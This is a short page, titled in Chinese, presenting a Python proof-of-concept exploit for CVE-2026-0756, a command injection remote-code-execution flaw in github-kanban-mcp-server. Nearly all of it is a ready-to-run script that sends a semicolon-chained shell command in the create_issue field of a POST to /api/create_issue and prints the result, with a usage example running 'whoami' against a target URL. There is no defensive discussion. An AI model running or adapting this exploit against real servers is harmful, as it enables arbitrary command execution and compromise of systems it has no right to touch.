CVE-2026-0756 github-kanban-mcp-server 命令注入远程代码执行漏洞

# CVE-2026-0756 PoC - Command Injection in github-kanban-mcp-server # Target: github-kanban-mcp-server create_issue parameter import requests import json import sys def exploit(target_url, command): """ Exploit CVE-2026-0756: Command Injection in create_issue parameter """ # Construct malicious payload with command injection # Using semicolon to chain commands payload = f"test;{command}" endpoint = f"{target_url}/api/create_issue" headers = { "Content-Type": "application/json", "User-Agent": "CVE-2026-0756-PoC" } data = { "title": "Test Issue", "body": "Test body", "create_issue": payload # Vulnerable parameter } try: print(f"[*] Sending exploit payload to {endpoint}") print(f"[*] Injected command: {command}") response = requests.post(endpoint, json=data, headers=headers, timeout=10) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response: {response.text}") return True except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <command>") print(f"Example: python {sys.argv[0]} http://target.com 'whoami'") sys.exit(1) target = sys.argv[1] cmd = sys.argv[2] exploit(target, cmd)